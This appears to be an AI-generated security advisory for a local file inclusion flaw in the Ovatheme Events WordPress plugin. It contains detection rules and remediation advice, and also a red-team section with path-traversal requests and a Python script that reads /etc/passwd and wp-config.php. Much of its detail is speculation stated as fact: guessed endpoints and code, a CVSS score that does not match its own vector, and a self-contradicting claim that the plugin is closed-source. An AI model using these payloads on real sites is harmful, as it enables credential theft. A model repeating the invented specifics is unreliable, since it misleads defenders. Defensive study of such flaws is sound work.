CVE-2025-53576

Executive Summary

CVE-2025-53576 is a critical vulnerability in the Ovatheme Events WordPress plugin (ova-events), affecting versions up to and including 1.2.8. The flaw is an Improper Control of Filename for Include/Require Statement (CWE-98), which allows an unauthenticated attacker to perform PHP Local File Inclusion (LFI). This can lead to reading sensitive files on the server, such as /etc/passwd or WordPress configuration files containing database credentials. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available, making this a high-priority zero-day for affected sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users must consider the plugin as a supply chain risk. The plugin's codebase is closed-source, preventing independent verification. Administrators should treat the plugin as compromised until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected asset.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 8.1 (High) – The high confidentiality impact and low attack complexity make this a severe threat, especially for WordPress sites storing sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the ova-events plugin's PHP code, likely in a function that includes template files or user-supplied paths. The plugin fails to sanitize or validate the filename parameter passed to PHP's include() or require() statements. An attacker can manipulate this parameter to include arbitrary files from the local filesystem.

Root Cause: The plugin uses user input (e.g., via GET/POST parameters like event_template or view) directly in an include statement without proper path traversal checks or whitelisting.

Example vulnerable code pattern:

$template = $_GET['template'];
include( $template . '.php' );

An attacker can supply ../../../../etc/passwd%00 to null-terminate the string and read /etc/passwd. The null byte injection works in PHP versions prior to 5.3.4, but modern PHP may require path traversal without null bytes.

Attack Flow:

1. Attacker identifies a WordPress site running Ovatheme Events <= 1.2.8.
2. Sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-content/plugins/ova-events/includes/event-display.php?template=../../../../etc/passwd).
3. The server includes the target file, outputting its contents in the HTTP response.
4. Attacker extracts sensitive data (e.g., wp-config.php for database credentials).

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. The vulnerable code likely resembles:

Vulnerable (ova-events <= 1.2.8):

$template = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );

Patched (hypothetical):

$allowed_templates = array( 'default', 'list', 'grid' );
$template = $_GET['template'];
if ( in_array( $template, $allowed_templates ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // Default template
    include( plugin_dir_path( __FILE__ ) . 'templates/default.php' );
}

The patch would implement a whitelist of allowed template names and reject any input not matching.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Ovatheme Events plugin <= 1.2.8.
• PHP version allowing path traversal (any modern PHP works with ../).

Exploit Steps:

1. Identify the vulnerable endpoint. Common paths include:
   • /wp-content/plugins/ova-events/includes/event-display.php
   • /wp-content/plugins/ova-events/templates/event-template.php
2. Craft a request to read /etc/passwd:

   GET /wp-content/plugins/ova-events/includes/event-display.php?template=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If the plugin appends .php, use a null byte (if PHP < 5.3.4) or try path traversal without extension:

   GET /wp-content/plugins/ova-events/includes/event-display.php?template=../../../../etc/passwd%00 HTTP/1.1
   

4. For reading wp-config.php:

   GET /wp-content/plugins/ova-events/includes/event-display.php?template=../../../../wp-config HTTP/1.1
   

Automated Script (Python):

import requests

target = "http://target.com"
plugin_path = "/wp-content/plugins/ova-events/includes/event-display.php"
payload = "template=../../../../etc/passwd"

url = f"{target}{plugin_path}?{payload}"
response = requests.get(url)
if response.status_code == 200 and "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for suspicious path traversal patterns in GET parameters (e.g., ../, %2e%2e%2f).
• Look for requests to ova-events plugin files with unexpected template values.
• Use WAF rules to block path traversal attempts.

Hardening:

• Disable the plugin immediately if not critical.
• Apply virtual patching via WAF (e.g., ModSecurity rule to block template=.*\.\..*).
• Restrict file permissions on wp-config.php to 400.
• Use a WordPress security plugin to monitor file changes.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /wp-config.php, /proc/self/environ
• URL Patterns: ?template=../../../../etc/passwd, ?template=../../../../wp-config
• HTTP Status Codes: 200 OK with file contents in response body.
• Log Entries: GET /wp-content/plugins/ova-events/includes/event-display.php?template=..%2f..%2f..%2f..%2fetc%2fpasswd
• Network Indicators: Outbound connections from attacker IP to target server on port 80/443.

Detection Engineering

YARA Rule

rule CVE_2025_53576_LFI_Ovatheme {
    meta:
        description = "Detects LFI attempts against Ovatheme Events plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53576"
    strings:
        $path1 = "ova-events" nocase
        $path2 = "event-display.php" nocase
        $traversal = "../"
        $traversal_encoded = "%2e%2e%2f"
    condition:
        $path1 and $path2 and ($traversal or $traversal_encoded)
}

Sigma Rule

title: CVE-2025-53576 Ovatheme Events LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting Ovatheme Events plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'ova-events'
            - 'event-display.php'
        cs-uri-query|contains|all:
            - 'template='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of template parameter with valid paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53576 Ovatheme Events LFI Attempt"; flow:to_server,established; content:"/ova-events/"; http_uri; content:"event-display.php"; http_uri; content:"template="; http_uri; pcre:"/template=.*\.\..*/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete ova-events from the WordPress admin panel.
2. Apply virtual patching – Use a WAF to block requests containing template= with path traversal characters.
3. Audit server logs – Check for signs of exploitation (IOCs above).
4. Rotate credentials – If wp-config.php was exposed, change database passwords and salts.

Long-term Fix:

• Monitor the plugin vendor (Ovatheme) for an official patch.
• Consider replacing the plugin with an alternative that is actively maintained.
• Implement file integrity monitoring (e.g., Tripwire) for WordPress core and plugin files.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.